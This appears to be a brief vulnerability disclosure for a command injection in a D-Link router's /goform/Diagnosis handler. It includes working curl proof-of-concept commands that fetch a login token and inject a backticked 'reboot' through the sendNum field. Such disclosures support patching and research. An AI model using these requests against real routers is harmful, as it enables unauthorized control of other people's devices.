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Manufacturer's address：https://www.dlink.com/
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Firmware download address ： http://tsd.dlink.com.tw/GPL.asp
The picture above shows the latest firmware for this version
Vulnerability occurs in /goform/Diagnosis，After the if condition is met, setnum will be spliced into v10 by snprintf, and finally system will be executed, resulting in a command injection vulnerability
The first thing you need to do is to get the tokenid
curl http://192.168.0.1/dir_login.asp | grep tokenid
Then run the following poc
curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=xxxx -d 'pingAddr=192.168.0.1' -d 'sendNum=`reboot`'
Then you can see that the router restarts, and finally we can write an exp to get root